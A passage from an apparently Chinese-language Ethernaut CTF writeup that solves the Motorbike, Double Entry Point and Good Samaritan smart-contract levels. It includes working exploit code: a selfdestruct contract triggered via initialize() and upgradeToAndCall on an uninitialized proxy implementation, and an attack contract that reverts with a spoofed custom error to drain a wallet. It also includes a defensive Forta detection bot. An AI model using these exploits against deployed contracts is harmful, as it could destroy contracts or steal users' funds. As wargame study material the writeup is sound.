首先合约引入了EIP-1967这么一个标准,那么这个标准的大体意思就是定义了代理合约的标准存储槽,也就是说上一题的slot覆盖问题

eip-1967标准

https://eips.ethereum.org/EIPS/eip-1967

我们来看看合约,Motorbike只是一个代理合约,那么他的engine才是逻辑合约,这里注意到一个问题,

engine合约是有一个进行初始化的

这里就有个问题,初始化器代理中调用,所以受影响的存储插槽应该是Motorbike,而不是Engine的,因此Motorbike才应该有初始化的结果,而不是在engine引擎.

initializable合约中有两个存储变量,都是1byte的布尔值,engine合约有两个变量,一个20byte的address和一个32byte的五字节证书,根据EVM的优化,2个布尔运算和1个地址都将占用一个slot,所以我们应该在第0个位置看到一个地址和两个布尔值排在一起.

解题

我们先做个实验,首先读取一下插槽,然后尝试写入.

await web3.eth.getStorageAt(contract.address, 0)

const _IMPLEMENTATION_SLOT = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
const engineAddress = await web3.eth.getStorageAt(
  contract.address,
  web3.utils.hexToNumberString(_IMPLEMENTATION_SLOT)
)
await web3.eth.getStorageAt(engineAddress, 0)
图片[30]-Ethernaut通关详解 Writeup

可以发现初始化器被错误的写到了代理存储中去了,engine合约不知道他被初始化了,所以我们可以在这里调用初始化函数.

data = web3.eth.abi.encodeFunctionSignature("initialize()")
await web3.eth.sendTransaction({
    from: player,
    to: address1,
    data: data
})

检查是否是upgrader

// data = web3.eth.abi.encodeFunctionSignature("upgrader()")
// await web3.eth.call({
//     to: address1,
//     data: data
//     })
图片[31]-Ethernaut通关详解 Writeup

是我的合约没有问题,此时创建一个小合约来触发他的自毁.

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract Pwner {
  function pwn() public {
    selfdestruct(address(0));
  }
}

复制合约地址,进行调用准备自毁

badContractAddr = "<insert bad contract address here>"

// create the payload to be called
data = web3.eth.abi.encodeFunctionSignature("pwn()")

upgradeToAndCallData = web3.eth.abi.encodeFunctionCall({
    name: 'upgradeToAndCall',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'newImplementation'
    }, {
        type: 'bytes',
        name: 'data'
    }
]
}, [badContractAddr, data])
await web3.eth.sendTransaction({from: player, to: address1, data: upgradeToAndCallData})

最后即可通关

图片[32]-Ethernaut通关详解 Writeup

Double Entry Point

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

超长合约目的是找到CryptoVault的错误所在,保护其不备耗尽代币

分析

根据描述,我们知道我们有两个代币,一个legacytoken,是一个被废弃的,还有一个是DcoubleEntrypoint,是取而代之的新货币

有个CryptoVault的金库.提供一个sweeptoken的方法,允许任何人像swepttokensrecipient sweep.

检查就是我们不能转移Vault的underlying代币

部署时两种代币分别持有100,我们的目的是创建一个fortadetectionbot,检测合约防止被外部攻击者耗尽cryptovault

我们来看看每个合约

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;
    
    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
    
    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }
    
    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

delegate就是DoubleEntryPoint的合约本身,意味着在legacyToken上执行转移时,本质是DoubleEntryPoint.delegateTransfer

看看DoubleEntryPoint

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;
    
    constructor(
        address legacyToken,
        address vaultAddress,
        address fortaAddress,
        address playerAddress
    )
    
    public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }
    
    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }
    
    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);        // Notify Forta
        forta.notify(player, msg.data);        // Continue execution
        _;        // Check if alarms have been raised
        if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }
    
    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

100代币铸造,其他没什么了

再来看看LegacyToken的transfer

function delegateTransfer(
    address to,
    uint256 value,
    address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
    _transfer(origSender, to, value);
    return true;
}
  • onlyDelegateFrom只允许delegateFrom调用这个函数。在此案例中,只有LegacyToken合约被允许调用这个函数,否则任何人都可以从origSender调用_transfer(即低级别的ERC20转账)。
  • fortaNotify是一个特殊的函数修改器,触发一些特定的Forta逻辑,就像我们之前看到的那样

_transfer只检查toorSender不是address(0),以及orSender有足够的代币转账到to,但它不检查orSendermsg.sender或花费者有足够的授权。这就是为什么我们有onlyDelegateFrom修改器。

最后再来看看

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;
    
    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }
    
    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }
    
    /*
    ...
    */
    
    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

任何人的都可以调用sweepToken函数,允许金库将任意token的整个金库余额转移到sweptTokensRecipient

唯一检查是防止vault转账underlying

找到漏洞并通过部署Forta DetectionBot来防止其发生

通过结合我们收集到的所有信息,你是否发现了我们可以利用的错误?回顾一下我们现有的知识:

  • CryptoVaultunderlying代币是DoubleEntryPoint。合约提供了一个sweepToken来转账Vault中的代币,但它阻止了对DoubleEntryPoint代币的转移(因为它是underlying)。
  • DoubleEntryPoint代币是一个ERC20代币,它实现了一个自定义的delegateTransfer函数,只能由LegacyToken代币调用,并由Forta通过执行fortaNotify函数修改器监控。该函数允许委托人将一定数量的代币从 origSpender 转账到一个任意的接收者。
  • LegacyToken是一个已经被 废弃 的ERC20代币。当transfer(address to, uint256 value)函数被调用时,DoubleEntryPoint(该代币的 新版本delegate.delegateTransfer(to, value, msg.sender)被调用。

问题出在哪里?因为LegacyToken.transferDoubleEntryPoint.transfer的 镜像,这意味着当你要求转账1个LegacyToken时,实际上你在转账1个DoubleEntryPoint代币(要做到这一点,余额中必须有这两者)。

CryptoVault 包含100个两种代币,但 sweepToken 只阻止了 底层 DoubleEntryPoint 的转账。

但是通过了解LegacyToken的工作原理,我们可以通过调用CryptoVault.sweep(address(legacyTokenContract))轻松抽取所有DoubleEntryPoint代币。

既然我们知道如何利用它,那么我们如何利用Forta集成来防止利用并回退交易?我们可以建立一个扩展Forta的合约IDetectionBot,并将其插入DoubleEntryPoint。通过这样做,当Vault的sweepToken触发LegacyToken.transfer从而触发DoubleEntryPoint.delegateTransfer从而触发(在执行函数代码之前)fortaNotify函数修改器时,我们应该能够防止漏洞。是的,我知道这个执行链很深,但请忍耐一下,你可以做到的。

IDetectionBot合约接口只有一个函数签名function handleTransaction(address user, bytes calldata msgData) external;,将由DoubleEntryPoint.delegateTransfer直接调用这些参数forta.notify(player, msg.data)

DetectionBot中,只有当这两个条件都是真的时候,我们才会发出警报。

  • 原始发送者(正在调用DoubleEntryPoint.delegateTransfer)是CryptoVault
  • 调用函数的签名(calldata的前4个字节)等于delegateTransfer的签名

让我们从msgData中提取origSender值(记住,在此案例中,该参数值等于msg.data)。如果你看一下Solidity文档中的块和交易属性的特殊变量和函数部分,你会发现msg.data是一个bytes calldata类型的数据,代表完整的calldata。这意味着什么呢?在这些字节中,你将有函数选择器(4个字节)和函数有效载荷。

为了提取参数,我们可以简单地使用 abi.decode,就像这样 (address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address));。一个重要的说明:我们假设在这些字节中,有三个特定类型的值,并以特定的顺序排列。我们正在做一个非常艰难的假设。这就是为什么我们需要把这些信息和函数签名与 delegateTransfer 的事实结合起来,以执行这些类型和顺序的要求。

第二部分很简单,我们只需通过合并msgData的前4个字节来重构调用签名,如:bytes memory callSig = abi.encodePacked(msgData[0], msgData[1], msgData[2], msgData[3]);然后我们将其与我们知道的delegateTransfer的正确签名进行比较→abi.encodeWithSignature("delegateTransfer(address,uint256,address)")

解题

部署合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDetectionBot {
  function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
  function setDetectionBot(address detectionBotAddress) external;
  function notify(address user, bytes calldata msgData) external;
  function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
    require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
    usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
      return;
    } catch {}
  }

  function raiseAlert(address user) external override {
    if(address(usersDetectionBots[user]) != msg.sender) return;
    botRaisedAlerts[msg.sender] += 1;
  } 
}

contract MyDetectionBot is IDetectionBot {
  address public cryptoVaultAddress;

  constructor(address _cryptoVaultAddress) {
    cryptoVaultAddress = _cryptoVaultAddress;
  }

  // we can comment out the variable name to silence "unused parameter" error
  function handleTransaction(address user, bytes calldata /* msgData */) external override { 
    // extract sender from calldata
    address origSender;
    assembly {
      origSender := calldataload(0xa8)
    }

    // raise alert only if the msg.sender is CryptoVault contract
    if (origSender == cryptoVaultAddress) {
      Forta(msg.sender).raiseAlert(user);
    }
  }
}

然后部署后调用即可

const fortaAddress = await contract.forta()
const detectionBotAddress = "0x593F267e25DD318bE3699e6315f3B31C6c94E205" // your address here

const _function = {
  "inputs": [
    { 
      "name": "detectionBotAddress",
      "type": "address"
    }
  ],
  "name": "setDetectionBot", 
  "type": "function"
};
const _parameters = [
  detectionBotAddress
];
const _calldata = web3.eth.abi.encodeFunctionCall(_function, _parameters);
await web3.eth.sendTransaction({
  from: player,
  to: fortaAddress,
  data: _calldata
})

Good Samaritan

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

耗尽其所有余额

分析

一次合约最多只能捐赠10个,但是合约总共用有10**6以上个硬币,所以我们要一次取出10个以上

这里作者给了提示,可以看看

Custom Errors in Solidity | Solidity Blog (soliditylang.org)

只需要我们令walllet.donate10(msg.sender)期间抛出异常,如果异常是由NotEnoughBalance()错误引起的;那么它将发送所有剩余的硬币

如何令donate10异常,只有在没有足够的余额时才会抛出。然而还进行了coin.transfer。
在coin.transfer下,可以看到

如果转账了,而且是转到了一个合约账户,那么notify(uint256 amount)函数就会被调用,让该合约知道这次转账

也就是说我们应该令其在转帐中抛出异常

解题

编写合约:


pragma solidity ^0.8.0;

interface IGoodSamaritan {
  function requestDonation() external returns (bool enoughBalance);
} 

contract Attack {  
  error NotEnoughBalance();

  function pwn(address _addr) external { 
     IGoodSamaritan(_addr).requestDonation();
  }


  function notify(uint256 amount) external pure {
    if (amount == 10) {
        revert NotEnoughBalance();
    } 
  }
}
图片[33]-Ethernaut通关详解 Writeup
pwn一下即可通关

文章参考

The Ethernaut Challenge #24 Solution — Double Entry Point | by StErMi | Medium

http://remix.ethereum.org/

Erhan Tezcan – DEV Community 👩‍💻👨‍💻

STYJ/Ethernaut-Solutions: Solutions for Ethernaut (github.com)

Solidity 中文文档 — Solidity中文文档 — 登链社区 (learnblockchain.cn)

OpenZeppelin

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 共7条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情
    • 头像ceido0
    • 头像ceido0
    • 头像ceido0
    • 头像beanz0